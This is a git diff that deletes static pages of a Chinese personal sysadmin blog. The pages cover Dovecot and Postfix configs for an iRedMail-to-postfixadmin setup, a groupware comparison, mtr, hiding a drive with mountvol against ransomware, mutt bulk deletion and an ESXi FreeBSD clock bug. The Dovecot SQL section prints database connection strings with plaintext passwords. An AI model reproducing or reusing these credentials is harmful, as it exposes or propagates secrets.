(or 50 MB) over quota -> -> quota_grace = 10%% -> -> #quota_grace = 50 M -> -> -> # Custom Quota Exceeded Message. -> -> # You can specify the message directly or read the message from a file. -> -> #quota_exceeded_message = Quota exceeded, please try again later. -> -> #quota_exceeded_message = </path/to/quota_exceeded_message.txt -> -> -> # Plugin: autocreate. Create and subscribe to default IMAP folders. -> -> autocreate = INBOX -> -> autocreate2 = Sent -> -> -> autocreate3 = Trash -> -> autocreate4 = Drafts -> -> autocreate5 = Junk -> -> autosubscribe = INBOX -> -> autosubscribe2 = Sent -> -> autosubscribe3 = Trash -> -> autosubscribe4 = Drafts -> -> autosubscribe5 = Junk -> -> -> # Plugin: expire. -> -> #expire = Trash 7 Trash/ 7 Junk 30 -> -> #expire_dict = proxy::expire -> -> -> # ACL and share folder -> -> acl = vfile -> -> acl_shared_dict = proxy::acl -> -> -> # By default Dovecot doesn’t allow using the IMAP “anyone” or -> -> # “authenticated” identifier, because it would be an easy way to spam -> -> # other users in the system. If you wish to allow it, -> -> #acl_anyone = allow -> -> -> # Pigeonhole managesieve service. -> -> # Reference: http://wiki2.dovecot.org/Pigeonhole/Sieve/Configuration -> -> # Per-user sieve settings. -> -> sieve_dir = %Lh/sieve -> -> sieve = %Lh/sieve/dovecot.sieve -> -> -> # Global sieve settings. -> -> sieve_global_dir = /var/vmail/sieve -> -> # Note: if user has personal sieve script, global sieve rules defined in -> -> #       sieve_default will be ignored. Please use sieve_before or -> -> #       sieve_after instead. -> -> #sieve_default = -> -> sieve_before = /var/vmail/sieve/dovecot.sieve -> -> #sieve_after = -> -> -> # The maximum number of redirect actions that can be performed during a -> -> # single script execution. -> -> # The meaning of 0 differs based on your version. For pigeonhole-0.3.0 and -> -> # beyond this means that redirect is prohibited. For older versions, -> -> # however, this means that the number of redirects is unlimited. -> -> #sieve_max_redirects = 4 -> -> } -> -> -> service quota-warning { -> -> executable = script /usr/local/bin/dovecot-quota-warning.sh -> -> unix_listener quota-warning { -> -> user = vmail -> -> group = vmail -> -> mode = 0660 -> -> } -> -> } -> -> -> service dict { -> -> unix_listener dict { -> -> mode = 0660 -> -> user = vmail -> -> group = vmail -> -> } -> -> } -> -> -> dict { -> -> #expire = db:/var/lib/dovecot/expire/expire.db -> -> quotadict = mysql:/etc/dovecot/dovecot-used-quota.conf -> -> acl = mysql:/etc/dovecot/dovecot-share-folder.conf -> -> } -> -> -> } -> -> -> protocol lda { -> -> # Reference: http://wiki2.dovecot.org/LDA -> -> mail_plugins = $mail_plugins sieve autocreate -> -> auth_socket_path = /var/run/dovecot/auth-master -> -> log_path = /var/log/dovecot-sieve.log -> -> lda_mailbox_autocreate = yes -> -> lda_mailbox_autosubscribe = yes -> -> postmaster_address = root -> -> } -> -> -> protocol lmtp { -> -> # Log file -> -> info_log_path = /var/log/dovecot-lmtp.log -> -> -> # Plugins -> -> mail_plugins = quota sieve -> -> postmaster_address = postmaster -> -> -> lmtp_save_to_detail_mailbox = yes -> -> recipient_delimiter = + -> -> } -> -> -> protocol imap { -> -> mail_plugins = $mail_plugins imap_quota autocreate imap_acl -> -> imap_client_workarounds = tb-extra-mailbox-sep -> -> -> # Maximum number of IMAP connections allowed for a user from each IP address. -> -> # NOTE: The username is compared case-sensitively. -> -> # Default is 10. -> -> # Increase it to avoid issue like below: -> -> # “Maximum number of concurrent IMAP connections exceeded” -> -> mail_max_userip_connections = 30 -> -> } -> -> -> protocol pop3 { -> -> mail_plugins = $mail_plugins -> -> pop3_client_workarounds = outlook-no-nuls oe-ns-eoh -> -> pop3_uidl_format = %08Xu%08Xv -> -> -> # Maximum number of IMAP connections allowed for a user from each IP address. -> -> # NOTE: The username is compared case-sensitively. -> -> # Default is 10. -> -> mail_max_userip_connections = 30 -> -> } -> -> -> # Login processes. Refer to Dovecot wiki for more details: -> -> # http://wiki2.dovecot.org/LoginProcess -> -> service imap-login { -> -> #inet_listener imap { -> -> #    port = 143 -> -> # } -> -> #inet_listener imaps { -> -> #    port = 993 -> -> #    ssl = yes -> -> # } -> -> -> service_count = 1 -> -> -> # To avoid startup latency for new client connections, set process_min_avail -> -> # to higher than zero. That many idling processes are always kept around -> -> # waiting for new connections. -> -> #process_min_avail = 0 -> -> -> # number of simultaneous IMAP connections -> -> process_limit = 500 -> -> -> # vsz_limit should be fine at its default 64MB value -> -> ->   -> -> -> } -> -> -> service pop3-login { -> -> #inet_listener pop3 { -> -> #    port = 110 -> -> # } -> -> #inet_listener pop3s { -> -> #    port = 995 -> -> #    ssl = yes -> -> # } -> -> -> service_count = 1 -> -> -> # number of simultaneous POP3 connections -> -> #process_limit = 500 -> -> } -> -> -> service managesieve-login { -> -> inet_listener sieve { -> -> # Listen on localhost (ipv4) -> -> address = 127.0.0.1 -> -> port = 4190 -> -> } -> -> } -> -> -> namespace { -> -> type = private -> -> separator = / -> -> prefix = -> -> #location defaults to mail_location. -> -> inbox = yes -> -> } -> -> namespace { -> -> type = shared -> -> separator = / -> -> prefix = Shared/%%u/ -> -> location = maildir:%%Lh/Maildir/:INDEX=%%Lh/Maildir/Shared/%%u -> -> # this namespace should handle its own subscriptions or not. -> -> subscriptions = yes -> -> list = children -> -> } -> -> -> # Public mailboxes. -> -> # Refer to Dovecot wiki page for more details: -> -> # http://wiki2.dovecot.org/SharedMailboxes/Public -> -> #namespace { -> -> #    type = public -> -> #    separator = / -> -> #    prefix = Public/ -> -> # -> -> #    # CONTROL=: Mark this public folder as read-only mailbox -> -> #    # INDEX=: Per-user \Seen flag -> -> #    location = maildir:/var/vmail/public/:CONTROL=~/Maildir/public:INDEX=~/Maildir/public -> -> # -> -> #    # Allow users to subscribe to the public folders. -> -> #    subscriptions = yes - 

    - -

    /etc/dovecot/dovecot-mysql.conf

    - -

    有 # 的是iredmail 自動做好的設定

    - -

    註解掉之後新增最後面的幾行,改成自己的DB、帳號、密碼、確認一下uid 跟 postfix的main.cf 一樣 -> #driver = mysql -> -> #default_pass_scheme = CRYPT -> -> #connect = host=127.0.0.1 dbname=vmail user=vmail password=NP5eaW3VSRogGT5bx0qaHMm7CKemRY -> -> # Required by ‘doveadm mailbox …’. -> -> #iterate_query = SELECT username AS user FROM mailbox -> -> #password_query = SELECT password, allow_nets FROM mailbox WHERE username=‘%u’ AND enable%Ls%Lc=1 AND active=1 -> -> #user_query = SELECT
    -> -> #    ‘%u’ AS master_user,
    -> -> #    CONCAT(mailbox.storagebasedirectory, ‘/’, mailbox.storagenode, ‘/’, mailbox.maildir) AS home,
    -> -> #    CONCAT(’*:bytes=‘, mailbox.quota*1048576) AS quota_rule
    -> -> #FROM mailbox,domain
    -> -> #WHERE mailbox.username=‘%u’
    -> -> #    AND mailbox.domain=‘%d’
    -> -> #    AND mailbox.enable%Ls%Lc=1
    -> -> #    AND mailbox.domain=domain.domain
    -> -> #    AND domain.backupmx=0
    -> -> #    AND domain.active=1
    -> -> #    AND mailbox.active=1 -> -> -> driver = mysql -> -> connect = host=127.0.0.1 dbname=postfix user=postfix password=postfixadmin -> -> default_pass_scheme = MD5-CRYPT -> -> user_query = SELECT ‘/var/vmail/%d/%n’ as home, 2000 AS uid, 2000 AS gid FROM mailbox WHERE username = ‘%u’ -> -> password_query = SELECT password FROM mailbox WHERE username = ‘%u’ - 

    - -

     

    - -

    postfix main.cf

    - -

    重點 uid 設定要一樣 都是 2000

    - -

    原則上就是在原本的 proxy:mysql 這些設定後面,加入 postfixadmin 的設定

    - -

    然後有一些只有 iredmail 有, postfix admin 沒有的,都先註解掉

    - -

    像是底下這部分 -> # -> -> # Lookup virtual mail accounts -> -> # -> -> #transport_maps = -> -> #    proxy:mysql:/etc/postfix/mysql/transport_maps_user.cf -> -> #    proxy:mysql:/etc/postfix/mysql/transport_maps_domain.cf -> -> -> #sender_dependent_relayhost_maps = -> -> #    proxy:mysql:/etc/postfix/mysql/sender_dependent_relayhost_maps.cf -> -> -> # Lookup table with the SASL login names that own the sender (MAIL FROM) addresses. -> -> #smtpd_sender_login_maps = -> -> #    proxy:mysql:/etc/postfix/mysql/sender_login_maps.cf - 

    - -

    其他的設定如下

    - -

      -> alias_database = hash:/etc/postfix/aliases -> -> alias_maps = hash:/etc/postfix/aliases -> -> allow_min_user = no -> -> allow_percent_hack = no -> -> biff = no -> -> body_checks = pcre:/etc/postfix/body_checks.pcre -> -> command_directory = /usr/sbin -> -> config_directory = /etc/postfix -> -> daemon_directory = /usr/libexec/postfix -> -> data_directory = /var/lib/postfix -> -> debug_peer_level = 2 -> -> disable_vrfy_command = yes -> -> enable_original_recipient = no -> -> header_checks = pcre:/etc/postfix/header_checks -> -> home_mailbox = Maildir/ -> -> inet_interfaces = all -> -> inet_protocols = ipv4 -> -> lmtp_tls_mandatory_protocols = !SSLv2 !SSLv3 -> -> lmtp_tls_protocols = !SSLv2 !SSLv3 -> -> mail_owner = postfix -> -> mailbox_command = /usr/libexec/dovecot/deliver -> -> mailq_path = /usr/bin/mailq.postfix -> -> message_size_limit = 15728640 -> -> mydestination = $myhostname, localhost, localhost.localdomain -> -> mydomain = iredmail.cowbay.org -> -> myhostname = iredmail.cowbay.org -> -> mynetworks = 127.0.0.1 -> -> myorigin = iredmail.cowbay.org -> -> newaliases_path = /usr/bin/newaliases.postfix -> -> proxy_read_maps = $canonical_maps $lmtp_generic_maps $local_recipient_maps $mydestination $mynetworks $recipient_bcc_maps $recipient_canonical_maps $relay_domains $rela -> -> y_recipient_maps $relocated_maps $sender_bcc_maps $sender_canonical_maps $smtp_generic_maps $smtpd_sender_login_maps $transport_maps $virtual_alias_domains $virtual_ali -> -> as_maps $virtual_mailbox_domains $virtual_mailbox_maps $smtpd_sender_restrictions $sender_dependent_relayhost_maps -> -> queue_directory = /var/spool/postfix -> -> recipient_bcc_maps = proxy:mysql:/etc/postfix/mysql/recipient_bcc_maps_user.cf    proxy:mysql:/etc/postfix/mysql/recipient_bcc_maps_domain.cf -> -> recipient_delimiter = + -> -> relay_domains = $mydestination    proxy:mysql:/etc/postfix/mysql/relay_domains.cfsender_bcc_maps = proxy:mysql:/etc/postfix/mysql/sender_bcc_maps_user.cf    proxy:mysql:/etc/postfix/mysql/sender_bcc_maps_domain.cf -> -> sendmail_path = /usr/sbin/sendmail.postfix -> -> setgid_group = postdrop -> -> smtp_tls_CAfile = $smtpd_tls_CAfile -> -> smtp_tls_loglevel = 1 -> -> smtp_tls_mandatory_protocols = !SSLv2 !SSLv3 -> -> smtp_tls_note_starttls_offer = yes -> -> smtp_tls_protocols = !SSLv2 !SSLv3 -> -> smtp_tls_security_level = may -> -> smtpd_data_restrictions = reject_unauth_pipelining -> -> smtpd_end_of_data_restrictions = check_policy_service inet:127.0.0.1:7777 -> -> smtpd_helo_required = yes -> -> smtpd_helo_restrictions = permit_mynetworks    permit_sasl_authenticated    reject_non_fqdn_helo_hostname    reject_invalid_helo_hostname    check_helo_access pcre:/etc -> -> /postfix/helo_access.pcre -> -> smtpd_recipient_restrictions = reject_unknown_recipient_domain    reject_non_fqdn_recipient    reject_unlisted_recipient    check_policy_service inet:127.0.0.1:7777 -> -> permit_mynetworks    permit_sasl_authenticated    reject_unauth_destination -> -> smtpd_reject_unlisted_recipient = yes -> -> smtpd_reject_unlisted_sender = yes -> -> smtpd_sasl_path = private/dovecot-auth -> -> smtpd_sasl_type = dovecot -> -> smtpd_sender_restrictions = reject_unknown_sender_domain    reject_non_fqdn_sender    reject_unlisted_sender    permit_mynetworks    permit_saslauthenticated    check -> -> sender_access pcre:/etc/postfix/sender_access.pcre -> -> smtpd_tls_CAfile = /etc/pki/tls/certs/iRedMail.crt -> -> smtpd_tls_cert_file = /etc/pki/tls/certs/iRedMail.crt -> -> smtpd_tls_dh1024_param_file = /etc/pki/tls/dh2048_param.pem -> -> smtpd_tls_dh512_param_file = /etc/pki/tls/dh512_param.pem -> -> smtpd_tls_exclude_ciphers = aNULL, eNULL, EXPORT, DES, RC4, MD5, PSK, aECDH, EDH-DSS-DES-CBC3-SHA, EDH-RSA-DES-CDC3-SHA, KRB5-DE5, CBC3-SHA -> -> smtpd_tls_key_file = /etc/pki/tls/private/iRedMail.key -> -> smtpd_tls_loglevel = 1 -> -> smtpd_tls_mandatory_protocols = !SSLv2 !SSLv3 -> -> smtpd_tls_protocols = !SSLv2 !SSLv3 -> -> swap_bangpath = no -> -> tls_random_source = dev:/dev/urandom -> -> unknown_local_recipient_reject_code = 550 -> -> virtual_alias_domains = -> -> virtual_alias_maps = proxy:mysql:/etc/postfix/mysql/virtual_alias_maps.cf    proxy:mysql:/etc/postfix/mysql/domain_alias_maps.cf    proxy:mysql:/etc/postfix/mysql/catchall_maps.cf    proxy:mysql:/etc/postfix/mysql/domain_alias_catchall_maps.cf     proxy:mysql:/etc/postfix/sql/mysql_virtual_alias_maps.cf        proxy:mysql:/etc/postfix -> -> /sql/mysql_virtual_alias_domain_maps.cf proxy:mysql:/etc/postfix/sql/mysql_virtual_alias_domain_catchall_maps.cf -> -> virtual_gid_maps = static:2000 -> -> virtual_mailbox_base = /var/vmail -> -> virtual_mailbox_domains = proxy:mysql:/etc/postfix/mysql/virtual_mailbox_domains.cf     proxy:mysql:/etc/postfix/sql/mysql_virtual_domains_maps.cf -> -> virtual_mailbox_maps = proxy:mysql:/etc/postfix/mysql/virtual_mailbox_maps.cf   proxy:mysql:/etc/postfix/sql/mysql_virtual_mailbox_maps.cf      proxy:mysql:/etc/postfix/sql/mysql_virtual_alias_domain_mailbox_maps.cf -> -> virtual_minimum_uid = 2000 -> -> virtual_transport = virtual -> -> virtual_uid_maps = static:2000 - 

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-linux-e5-b9-b3-e5-8f-b0-e4-b8-8a-e7-9a-84-e7-be-a4-e7-b5-84-e8-bb-9f-e9-ab-94-zentyal-iredmail-zeg-e6-b8-ac-e8-a9-a6-groupware-on-linux-test/index.html b/themes/public/article/e7-ad-86-e8-a8-98-linux-e5-b9-b3-e5-8f-b0-e4-b8-8a-e7-9a-84-e7-be-a4-e7-b5-84-e8-bb-9f-e9-ab-94-zentyal-iredmail-zeg-e6-b8-ac-e8-a9-a6-groupware-on-linux-test/index.html deleted file mode 100644 index 21596acc..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-linux-e5-b9-b3-e5-8f-b0-e4-b8-8a-e7-9a-84-e7-be-a4-e7-b5-84-e8-bb-9f-e9-ab-94-zentyal-iredmail-zeg-e6-b8-ac-e8-a9-a6-groupware-on-linux-test/index.html +++ /dev/null @@ -1,476 +0,0 @@ - - - - - - - - - - [筆記] Linux 平台上的群組軟體 Zentyal / iRedMail / ZEG 測試 groupware on linux test | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Linux 平台上的群組軟體 Zentyal / iRedMail / ZEG 測試 groupware on linux test

    -
    - - - 2016-01-26 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    Linux 平台上的群組軟體 Zentyal / iRedMail / ZEG 測試 groupware on linux  test

    - -

    zentyal  community edition

    - -

    優點

    - -
      -
    • 整合完整,甚至連AD的功能都包進去了
    • -
    • 安裝簡單,預設就有提供相對完整的管理功能、介面
    • -
    • 要新增網域、使用者、郵件、別名都很簡單
    • - -
    • 有整合Exchange (EAS / EWS 其中之一) -缺點

    • - -
    • 在行動裝置上設定Exchange類型的帳戶碰到困難,無法順利完成設定

    • - -
    • 似乎還滿吃資源的,預設的VM開 2 core /4G ,在esxi中會出現資源耗盡導致系統停擺的狀況,把硬體加到 4 core / 8G 才沒再發生

    • - -
    • 雖然在Outlook 20072010 可以順利完成Exchange帳號設定,但是outlook 2016 會失敗…

    • - -
    • 在手機上只能設定IMAP/POP3模式

    • - -
    • MAC Outlook 2011 設定失敗 -結論:行動裝置支援不足,尚待改進

    • -
    - -

    iRedMail

    - -

    優點

    - -
      -
    • 安裝簡單,但要花一點時間,尤其在更新clamAV的時候常會碰到逾時的狀況,需要強制中斷
    • -
    • 預設有管理介面
    • -
    • 整合Exchange
    • -
    • 有中文的論壇可以發問 http://www.iredmail.com/bbs 有個張工好像很厲害,不過回應速度有點慢
    • -
    • outlook 2016 / iphone 設定 Exchange 信箱都正常,行事曆也都OK
    • -
    • webmail (SOGo) 有中文介面
    • - -
    • 支援 EAS 不過不支援 EWS -缺點

    • - -
    • 預設管理介面很陽春,只提供新增 postfix 虛擬網域/帳號的功能,郵件別名(mail alias) 都要靠其他軟體(phpmyadmin)補足 ,而且 phpmyadmin 還不能裝太新的,要裝 4.0.10.12版本才行,不然會出現 php / mysql 版本太低的錯誤

    • - -
    • 如果安裝時選擇openldap認證,安裝完成後,要進入 openldap 管理介面時碰到登入帳號密碼驗證的錯誤,無法解決  update: 搞定了 要修改一個phpldapadmin的設定

    • - -
    • 安裝時碰到一點點錯誤,2016/01/25 安裝 0.9.3 版本都是OK的,但是01/26要進行安裝,卻會提示有新版本,無法進行安裝,必須要註解掉檢查新版本的功能,而且一開始發生這錯誤時,上官網去看,也沒看到有新版本的公告,過了大概七八個小時之後,才看到有0.9.4 的版本放出來

    • - -
    • 有提供比較完整功能的管理介面,一年 $499 美金,對於open source 軟體來說,有點小貴

    • - -
    • 預設整合amavisd ,對於前面有 NOPAM 做Gateway的我的環境,會有一些困擾,必須要另外關閉(關閉的作法在這)

    • - -
    • 聯絡人搞不定,看不到所有Server上的帳號 (outlook / webmail 都是) update: outlook 可以,但是 webmail 還是看不到..

    • - -
    • outlook 2011 for MAC設定帳號失敗 -結論:整得不錯,雖然有一些不足,不過目前來說是已經可以用在商業環境的解決方案了

    • -
    - -

    ZEG

    - -

    優點

    - -
      -
    • 預設有提供 vmware 版本,省去安裝的麻煩
    • - -
    • 沒有了….. -缺點

    • - -
    • 免費版本沒有提供管理介面,都要靠命令模式下指令

    • - -
    • 沒有提供修改設定的說明,例如我想把預設的 example.com 改成我在測試的 abc.com,就不知道要去哪裡改 -結論:不值得使用

    • -
    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-linux-e5-ba-95-e4-b8-8b-e5-a5-bd-e7-94-a8-e7-9a-84-e7-b6-b2-e8-b7-af-e5-b7-a5-e5-85-b7-mtr-e7-b5-90-e5-90-88-e4-ba-86-ping-traceroute/index.html b/themes/public/article/e7-ad-86-e8-a8-98-linux-e5-ba-95-e4-b8-8b-e5-a5-bd-e7-94-a8-e7-9a-84-e7-b6-b2-e8-b7-af-e5-b7-a5-e5-85-b7-mtr-e7-b5-90-e5-90-88-e4-ba-86-ping-traceroute/index.html deleted file mode 100644 index 0f50ac82..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-linux-e5-ba-95-e4-b8-8b-e5-a5-bd-e7-94-a8-e7-9a-84-e7-b6-b2-e8-b7-af-e5-b7-a5-e5-85-b7-mtr-e7-b5-90-e5-90-88-e4-ba-86-ping-traceroute/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [筆記] Linux 底下好用的網路工具 mtr 結合了 ping & traceroute | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Linux 底下好用的網路工具 mtr 結合了 ping & traceroute

    -
    - - - 2016-08-11 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    安裝: yum install mtr -y

    - -

    指令: mtr ip_address

    - -

    以上兩行都是廢話…直接看圖!

    - -

    畫面很簡單,左邊是會經過的節點(traceroute) 右邊是PING的數據,很容易可以觀察到有沒有掉封包、最佳、最差、平均反應時間

    - -

    很好用的工具!

    - -

    2016-08-11_14-58-40

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-linux-e5-ba-95-e4-b8-8b-e6-aa-a2-e6-9f-a5-e7-a1-ac-e7-a2-9f-e7-b8-bd-e5-85-b1-e5-af-ab-e5-85-a5-e4-ba-86-e5-a4-9a-e5-b0-91-e7-a9-ba-e9-96-93-e7-9a-84-e6-8c-87-e4-bb-a4-linux-c/index.html b/themes/public/article/e7-ad-86-e8-a8-98-linux-e5-ba-95-e4-b8-8b-e6-aa-a2-e6-9f-a5-e7-a1-ac-e7-a2-9f-e7-b8-bd-e5-85-b1-e5-af-ab-e5-85-a5-e4-ba-86-e5-a4-9a-e5-b0-91-e7-a9-ba-e9-96-93-e7-9a-84-e6-8c-87-e4-bb-a4-linux-c/index.html deleted file mode 100644 index 5a6b88d7..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-linux-e5-ba-95-e4-b8-8b-e6-aa-a2-e6-9f-a5-e7-a1-ac-e7-a2-9f-e7-b8-bd-e5-85-b1-e5-af-ab-e5-85-a5-e4-ba-86-e5-a4-9a-e5-b0-91-e7-a9-ba-e9-96-93-e7-9a-84-e6-8c-87-e4-bb-a4-linux-c/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [筆記] Linux 底下 檢查硬碟總共寫入了多少空間的指令 - linux command to check total written of disk | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-mount-unmount-disk-in-windows7-to-prevent-cryptowall-or-cryptolocker/index.html b/themes/public/article/e7-ad-86-e8-a8-98-mount-unmount-disk-in-windows7-to-prevent-cryptowall-or-cryptolocker/index.html deleted file mode 100644 index 31074544..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-mount-unmount-disk-in-windows7-to-prevent-cryptowall-or-cryptolocker/index.html +++ /dev/null @@ -1,453 +0,0 @@ - - - - - - - - - - [筆記] mount / unmount disk in windows7 to prevent cryptowall or cryptolocker | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] mount / unmount disk in windows7 to prevent cryptowall or cryptolocker

    -
    - - - 2015-11-30 - - - - - - - - - 未分類 - - - - - -
    - - -

    用cmd 手動掛載磁碟區

    - -

    如果系統都沒看到這個磁碟區,理論上病毒也就沒有辦法去加密

    - -

    假設你的外接硬碟在 G:

    - -

    用系統管理員權限開啟 cmd

    - -

    輸入 mountvol

    - -

    你會看到類似這樣的畫面 -> VolumeName 及目前掛接點的值可能是: -> -> -> \?\Volume{e57d5b51-1f0a-11e5-8a86-806e6f6e6963}
    -> -> D:
    -> -> -> \?\Volume{9531b165-0817-11e5-9a7e-806e6f6e6963}
    -> -> F:
    -> -> -> \?\Volume{fce7fceb-0817-11e5-a59a-f72439090334}
    -> -> H:
    -> -> -> \?\Volume{87418069-1eec-11e5-8b32-dc0ea10668d7}
    -> -> G:
    -> -> -> \?\Volume{9531b144-0817-11e5-9a7e-806e6f6e6963}
    -> -> C:

    - -

    假設你要隱藏的磁碟機是 G:

    - -

    卸載 umount -> mountvol g:\ /p -> -> -> </pre> - <pre>這樣可以 G:從系統中隱藏起來

    - -
    **掛載**
    -`</pre>
    -> <pre>`mount g: \\?\Volume{87418069-1eec-11e5-8b32-dc0ea10668d7}\
    -
    - -
    `
    -`這樣就可以把G:再掛回來
    -
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-ms-surface-e7-9a-84-e6-9b-b8-e6-a1-8c-e7-92-b0-e5-a2-83/index.html b/themes/public/article/e7-ad-86-e8-a8-98-ms-surface-e7-9a-84-e6-9b-b8-e6-a1-8c-e7-92-b0-e5-a2-83/index.html deleted file mode 100644 index ea593fe1..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-ms-surface-e7-9a-84-e6-9b-b8-e6-a1-8c-e7-92-b0-e5-a2-83/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - [筆記] MS Surface 的書桌環境 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-mutt-e6-89-b9-e6-ac-a1-e5-88-aa-e9-99-a4-e4-bf-a1-e4-bb-b6/index.html b/themes/public/article/e7-ad-86-e8-a8-98-mutt-e6-89-b9-e6-ac-a1-e5-88-aa-e9-99-a4-e4-bf-a1-e4-bb-b6/index.html deleted file mode 100644 index e67959a3..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-mutt-e6-89-b9-e6-ac-a1-e5-88-aa-e9-99-a4-e4-bf-a1-e4-bb-b6/index.html +++ /dev/null @@ -1,431 +0,0 @@ - - - - - - - - - - [筆記] mutt 批次刪除信件 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] mutt 批次刪除信件

    -
    - - - 2014-04-16 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    http://snippets.aktagon.com/snippets/21-delete-messages-containing-a-keyword-in-mutt

    - -

      -

    -

    - -

    Delete messages containing a keyword in mutt

    - -

    -
    -

    - -

    Bulk operations in mutt, a console based email client, are easy. Here’s how to delete messages containing the keyword ‘Newsletter’. ->

    T
    ->
    -> Newsletter
    ->
    -> ;
    ->
    -> d
    ->
    -> $
    -T – asks which messages you want to tag and you reply with ‘Newsletter’.

    - -

    ; – asks which action you want to run on the tagged messages.

    - -

    d – tells that the action you want is delete.

    - -

    $ – synchronizes the view with the underlying persistence layer.

    - -

    -
    -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-nopam-freebsd-9-1-time-freeze-vmware-esxi-5-0/index.html b/themes/public/article/e7-ad-86-e8-a8-98-nopam-freebsd-9-1-time-freeze-vmware-esxi-5-0/index.html deleted file mode 100644 index c2f64a26..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-nopam-freebsd-9-1-time-freeze-vmware-esxi-5-0/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - [筆記] Nopam on FreeBSD 9.1 time freeze in vmware esxi 5.0 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Nopam on FreeBSD 9.1 time freeze in vmware esxi 5.0

    -
    - - - 2014-08-20 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    今天早上USER反應不能發信,檢查MAIL SERVER正常

    - -

    跟著檢查Mail Gateway (NOPAM Themis),發現信件雖然都會收下來,但是不會往後丟到mail server去

    - -

    跟綠算運算的工程師聯絡之後,發現是VMWARE esxi 5.0的 BUG

    - -

    如果vm guest是Freebsd的話,有可能會發生時間凍結的情況(機率有多高?我不知道,不過我這台nopam已經開機 598天才碰到)

    - -

    因為時間不正確,造成信件不會往mail server送

    - -

    本來工程師是說重灌、重啟VM HOST、升級VM HOST這幾個選項

    - -

    不過因為這是PRODUCTION的環境,上面還有其他VM在跑,沒辦法這樣做

    - -

    只好說那重啟NOPAM試試看,不過翻了一下GOOGLE,發現在vmware KB裡面有提到解法

    - -

    Time counter stops in a virtual machine using HPET running on an ESXi 5.0 host (2021185)

    - -

    照著下指令,就可以暫時解決時間不會動的問題

    - -

    可能要找時間MIGRATE到 VMWARE esxi 5.1 上去..

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
